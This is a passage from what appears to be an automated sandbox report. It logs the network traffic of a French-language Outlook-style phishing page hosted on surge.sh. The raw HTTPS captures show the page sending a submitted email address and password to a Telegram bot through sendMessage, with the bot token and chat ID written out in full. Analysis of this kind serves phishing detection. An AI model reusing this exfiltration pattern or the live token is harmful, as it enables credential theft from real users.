Mar 13, 2025 10:49:39.014966011 CET	62933	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:39.021446943 CET	53	62933	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 13, 2025 10:48:25.112202883 CET	192.168.2.5	1.1.1.1	c1e9	(Port unreachable)	Destination Unreachable
Mar 13, 2025 10:48:57.665345907 CET	192.168.2.5	1.1.1.1	c2a2	(Port unreachable)	Destination Unreachable
Mar 13, 2025 10:49:00.632811069 CET	192.168.2.5	1.1.1.1	c246	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 10:48:21.907267094 CET	192.168.2.5	1.1.1.1	0xcd2a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:21.907476902 CET	192.168.2.5	1.1.1.1	0x60eb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 13, 2025 10:48:23.393945932 CET	192.168.2.5	1.1.1.1	0x20e	Standard query (0)	parta-doc.surge.sh	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:23.394258976 CET	192.168.2.5	1.1.1.1	0x5c66	Standard query (0)	parta-doc.surge.sh	65	IN (0x0001)	false
Mar 13, 2025 10:48:52.376128912 CET	192.168.2.5	1.1.1.1	0xbf78	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:52.376315117 CET	192.168.2.5	1.1.1.1	0x4e89	Standard query (0)	api.telegram.org	65	IN (0x0001)	false
Mar 13, 2025 10:48:55.028534889 CET	192.168.2.5	1.1.1.1	0xcbb8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:55.028711081 CET	192.168.2.5	1.1.1.1	0x43c4	Standard query (0)	api.telegram.org	65	IN (0x0001)	false
Mar 13, 2025 10:48:57.645020008 CET	192.168.2.5	1.1.1.1	0x1e32	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:57.645497084 CET	192.168.2.5	1.1.1.1	0x9a8a	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Mar 13, 2025 10:48:57.647334099 CET	192.168.2.5	1.1.1.1	0xc79	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:57.647654057 CET	192.168.2.5	1.1.1.1	0xa5d3	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Mar 13, 2025 10:49:01.097527027 CET	192.168.2.5	1.1.1.1	0x89b8	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:01.097659111 CET	192.168.2.5	1.1.1.1	0xca00	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Mar 13, 2025 10:49:27.912432909 CET	192.168.2.5	1.1.1.1	0x1f6	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:27.912587881 CET	192.168.2.5	1.1.1.1	0x7af4	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 13, 2025 10:49:28.937910080 CET	192.168.2.5	1.1.1.1	0xc36f	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:28.938088894 CET	192.168.2.5	1.1.1.1	0x541	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 13, 2025 10:49:30.970844984 CET	192.168.2.5	1.1.1.1	0xb09f	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:31.984882116 CET	192.168.2.5	1.1.1.1	0xb09f	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:32.984770060 CET	192.168.2.5	1.1.1.1	0xb09f	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:34.999639988 CET	192.168.2.5	1.1.1.1	0xb09f	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:39.014966011 CET	192.168.2.5	1.1.1.1	0xb09f	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 10:48:21.913979053 CET	1.1.1.1	192.168.2.5	0xcd2a	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:21.914177895 CET	1.1.1.1	192.168.2.5	0x60eb	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 13, 2025 10:48:23.489644051 CET	1.1.1.1	192.168.2.5	0x20e	No error (0)	parta-doc.surge.sh		138.197.235.123	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:25.112082958 CET	1.1.1.1	192.168.2.5	0x5c66	Server failure (2)	parta-doc.surge.sh	none	none	65	IN (0x0001)	false
Mar 13, 2025 10:48:26.075119019 CET	1.1.1.1	192.168.2.5	0x883d	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:26.075119019 CET	1.1.1.1	192.168.2.5	0x883d	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:26.075119019 CET	1.1.1.1	192.168.2.5	0x883d	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	global-entry-fb-afdthirdparty-unicast.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:26.075119019 CET	1.1.1.1	192.168.2.5	0x883d	No error (0)	global-entry-fb-afdthirdparty-unicast.trafficmanager.net	stor9a.msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:26.075119019 CET	1.1.1.1	192.168.2.5	0x883d	No error (0)	stor9a.msedge.net		104.212.67.159	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:29.231563091 CET	1.1.1.1	192.168.2.5	0x6b36	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:29.231563091 CET	1.1.1.1	192.168.2.5	0x6b36	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:29.231563091 CET	1.1.1.1	192.168.2.5	0x6b36	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:29.231563091 CET	1.1.1.1	192.168.2.5	0x6b36	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:52.385107040 CET	1.1.1.1	192.168.2.5	0xbf78	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:55.035907030 CET	1.1.1.1	192.168.2.5	0xcbb8	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:57.653350115 CET	1.1.1.1	192.168.2.5	0x1e32	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.653350115 CET	1.1.1.1	192.168.2.5	0x1e32	No error (0)	assets.onestore.ms.akadns.net	assets.onestore.ms.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.653350115 CET	1.1.1.1	192.168.2.5	0x1e32	No error (0)	assets.onestore.ms.edgekey.net	e10583.dspg.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.653350115 CET	1.1.1.1	192.168.2.5	0x1e32	No error (0)	e10583.dspg.akamaiedge.net		23.192.243.7	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:57.654226065 CET	1.1.1.1	192.168.2.5	0xa5d3	No error (0)	ajax.aspnetcdn.com	ajax.aspnetcdn.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.654226065 CET	1.1.1.1	192.168.2.5	0xa5d3	No error (0)	ajax.aspnetcdn.com.edgesuite.net	a46.dscr.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.654844046 CET	1.1.1.1	192.168.2.5	0xc79	No error (0)	ajax.aspnetcdn.com	ajax.aspnetcdn.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.654844046 CET	1.1.1.1	192.168.2.5	0xc79	No error (0)	ajax.aspnetcdn.com.edgesuite.net	a46.dscr.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.654844046 CET	1.1.1.1	192.168.2.5	0xc79	No error (0)	a46.dscr.akamai.net		2.16.202.84	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:57.654844046 CET	1.1.1.1	192.168.2.5	0xc79	No error (0)	a46.dscr.akamai.net		95.101.54.226	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:48:57.665281057 CET	1.1.1.1	192.168.2.5	0x9a8a	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.665281057 CET	1.1.1.1	192.168.2.5	0x9a8a	No error (0)	assets.onestore.ms.akadns.net	assets.onestore.ms.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:48:57.665281057 CET	1.1.1.1	192.168.2.5	0x9a8a	No error (0)	assets.onestore.ms.edgekey.net	e10583.dspg.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:00.547492027 CET	1.1.1.1	192.168.2.5	0x3ab1	No error (0)	sni1gl.wpc.zetacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:01.105456114 CET	1.1.1.1	192.168.2.5	0xca00	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:01.105456114 CET	1.1.1.1	192.168.2.5	0xca00	No error (0)	c-s.cms.ms.akadns.net	c.s-microsoft.com-c.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:01.105456114 CET	1.1.1.1	192.168.2.5	0xca00	No error (0)	c.s-microsoft.com-c.edgekey.net	e13678.dscg.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:01.105595112 CET	1.1.1.1	192.168.2.5	0x89b8	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:01.105595112 CET	1.1.1.1	192.168.2.5	0x89b8	No error (0)	c-s.cms.ms.akadns.net	c.s-microsoft.com-c.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:01.105595112 CET	1.1.1.1	192.168.2.5	0x89b8	No error (0)	c.s-microsoft.com-c.edgekey.net	e13678.dscg.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:01.105595112 CET	1.1.1.1	192.168.2.5	0x89b8	No error (0)	e13678.dscg.akamaiedge.net		2.19.106.98	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:27.919413090 CET	1.1.1.1	192.168.2.5	0x1f6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:27.919413090 CET	1.1.1.1	192.168.2.5	0x1f6	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.184.195	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:27.920277119 CET	1.1.1.1	192.168.2.5	0x7af4	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:28.944916010 CET	1.1.1.1	192.168.2.5	0x541	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:28.947158098 CET	1.1.1.1	192.168.2.5	0xc36f	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:28.947158098 CET	1.1.1.1	192.168.2.5	0xc36f	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.184.195	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:30.977592945 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:30.977592945 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.184.195	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:31.991391897 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:31.991391897 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.184.195	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:32.991405010 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:32.991405010 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.184.195	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:35.006321907 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:35.006321907 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.184.195	A (IP address)	IN (0x0001)	false
Mar 13, 2025 10:49:39.021446943 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 10:49:39.021446943 CET	1.1.1.1	192.168.2.5	0xb09f	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.184.195	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

parta-doc.surge.sh

api.telegram.org

www.google.com

www.microsoft.com

ajax.aspnetcdn.com

assets.onestore.ms

c.s-microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49723	138.197.235.123	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:48:25 UTC	682	OUT	GET /connexion.html HTTP/1.1 Host: parta-doc.surge.sh Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:48:26 UTC	441	IN	HTTP/1.1 200 OK Server: Surge Surge-Cache: HIT Surge-Stamp: 12805::1741458483454-cc810d57d897a034367befe3244e7efd Age: 168814 Date: Thu, 13 Mar 2025 09:48:25 GMT Cache-Control: public, max-age=0, must-revalidate ETag: "98c386038732b831d3658a36b9b9fc9a675b9c0e7fc0aeff7cf6b015a01d7fd3" Content-Type: text/html; charset=UTF-8 Accept-Ranges: bytes Response-Time: 1ms Content-Length: 7989 Vary: Accept-Encoding Connection: close
2025-03-13 09:48:26 UTC	7989	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 6e 6e 65 78 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 0a 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 Data Ascii: <!DOCTYPE html><html lang="fr"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Connexion</title> <style> * { box-sizing: border-box; margin: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49722	142.250.185.100	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:48:25 UTC	575	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiA1s4BCK/ezgEI0uDOAQiv5M4BCOLkzgEIi+XOAQ== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49724	138.197.235.123	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:48:30 UTC	613	OUT	GET /favicon.ico HTTP/1.1 Host: parta-doc.surge.sh Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://parta-doc.surge.sh/connexion.html Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:48:30 UTC	256	IN	HTTP/1.1 404 Not Found Server: Surge Surge-Cache: HIT Surge-Stamp: 12805::1741458483454 Content-Type: text/html; charset=utf-8 Content-Length: 8247 ETag: W/"2037-Bpq88syl4OLNTwUiR08il4/lN+0" Date: Thu, 13 Mar 2025 09:48:30 GMT Connection: close
2025-03-13 09:48:30 UTC	8247	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 63 64 6e 2e 6d 6f 7a 69 6c 6c 61 2e 6e 65 74 2f 66 6f 6e 74 73 2f 66 69 72 61 2e 63 73 73 22 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 33 65 33 64 66 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 37 62 37 62 37 3b 0a 20 20 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html><html><head><head><meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no"><link rel="stylesheet" href="https://code.cdn.mozilla.net/fonts/fira.css"><style>body{ background: #e3e3df; color: #b7b7b7; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49737	149.154.167.220	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:48:54 UTC	788	OUT	GET /bot7790808498:AAGzrnUuQzRYR2OIyz6GoKrqiVuOP12IE1Q/sendMessage?chat_id=7332838769&text=%F0%9F%93%85%20Outlook%20%3A%0A%0A%F0%9F%91%A4%20Utilisateur%20%3A%20mjn1bs%40bedyif.org%0A%F0%9F%94%90%20Mot%20de%20passe%20%3A%20daE%2C8%2BTqzP HTTP/1.1 Host: api.telegram.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://parta-doc.surge.sh Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://parta-doc.surge.sh/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:48:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 13 Mar 2025 09:48:54 GMT Content-Type: application/json Content-Length: 406 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-13 09:48:54 UTC	406	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 39 30 38 30 38 34 39 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 64 6f 6e 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 52 73 6c 74 46 72 65 65 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 33 32 38 33 38 37 36 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 6c 61 63 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 6c 61 63 6b 4f 66 66 62 6f 74 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 38 35 39 33 33 34 2c 22 74 65 78 74 22 3a 22 5c 75 64 38 33 64 5c 75 64 63 63 35 20 4f 75 74 Data Ascii: {"ok":true,"result":{"message_id":47,"from":{"id":7790808498,"is_bot":true,"first_name":"don","username":"donRsltFree_bot"},"chat":{"id":7332838769,"first_name":"Black","username":"blackOffbotn","type":"private"},"date":1741859334,"text":"\ud83d\udcc5 Out

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49740	149.154.167.220	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:48:56 UTC	611	OUT	GET /bot7790808498:AAGzrnUuQzRYR2OIyz6GoKrqiVuOP12IE1Q/sendMessage?chat_id=7332838769&text=%F0%9F%93%85%20Outlook%20%3A%0A%0A%F0%9F%91%A4%20Utilisateur%20%3A%20mjn1bs%40bedyif.org%0A%F0%9F%94%90%20Mot%20de%20passe%20%3A%20daE%2C8%2BTqzP HTTP/1.1 Host: api.telegram.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:48:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 13 Mar 2025 09:48:57 GMT Content-Type: application/json Content-Length: 406 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-13 09:48:57 UTC	406	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 39 30 38 30 38 34 39 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 64 6f 6e 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 64 6f 6e 52 73 6c 74 46 72 65 65 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 33 32 38 33 38 37 36 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 6c 61 63 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 6c 61 63 6b 4f 66 66 62 6f 74 6e 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 38 35 39 33 33 37 2c 22 74 65 78 74 22 3a 22 5c 75 64 38 33 64 5c 75 64 63 63 35 20 4f 75 74 Data Ascii: {"ok":true,"result":{"message_id":48,"from":{"id":7790808498,"is_bot":true,"first_name":"don","username":"donRsltFree_bot"},"chat":{"id":7332838769,"first_name":"Black","username":"blackOffbotn","type":"private"},"date":1741859337,"text":"\ud83d\udcc5 Out

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49742	2.16.202.84	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:48:59 UTC	591	OUT	GET /ajax/jQuery/jquery-1.9.1.min.js HTTP/1.1 Host: ajax.aspnetcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:49:00 UTC	451	IN	HTTP/1.1 200 OK Content-Type: application/javascript Access-Control-Allow-Origin: * ETag: "8030b6bcc33d21:0" Last-Modified: Mon, 31 Oct 2016 23:11:01 GMT Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31491255 Date: Thu, 13 Mar 2025 09:49:00 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-GRN: 0.4cca1002.1741859340.49c7aa0
